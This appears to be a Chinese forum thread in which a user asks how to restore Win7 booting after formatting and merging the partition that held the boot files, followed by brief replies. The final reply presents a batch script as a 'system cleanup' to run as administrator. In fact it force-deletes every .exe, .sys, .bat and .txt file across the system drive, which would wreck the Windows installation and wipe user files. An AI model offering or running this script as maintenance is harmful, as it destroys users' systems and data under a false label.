引导分区被格式化怎么办？

我的电脑本来装有win7，win8双系统，win8在C盘，win7在E盘（在win8中看到的），其中C盘是主分区，其他是逻辑分区，win7和win8都是由C盘的bootmgr引导的。
问题是这样的，win8升级update失败，我就不想用win8了，然后就把C盘格式化了，然后我又把c，d盘都删除了，然后修建了分区，就是把C盘和D盘合为一个了，
现在的结果是win7无法引导，因为引导分区和引导文件都没了
求大神帮帮忙，不要告诉我重装。

目测下面一堆回复重建引导

格全盘，重新分区，重新装，15分钟搞定

哇哦。。。。

进pe引导修复。。。
清理系统（请谨慎使用！）
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@echooff
echo 请骚等......
del /f /s /q %systemdrive%\*.txt
del /f /s /q %systemdrive%\*.bat
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.sys
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo OK！
echo. & pause
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右键管理员运行！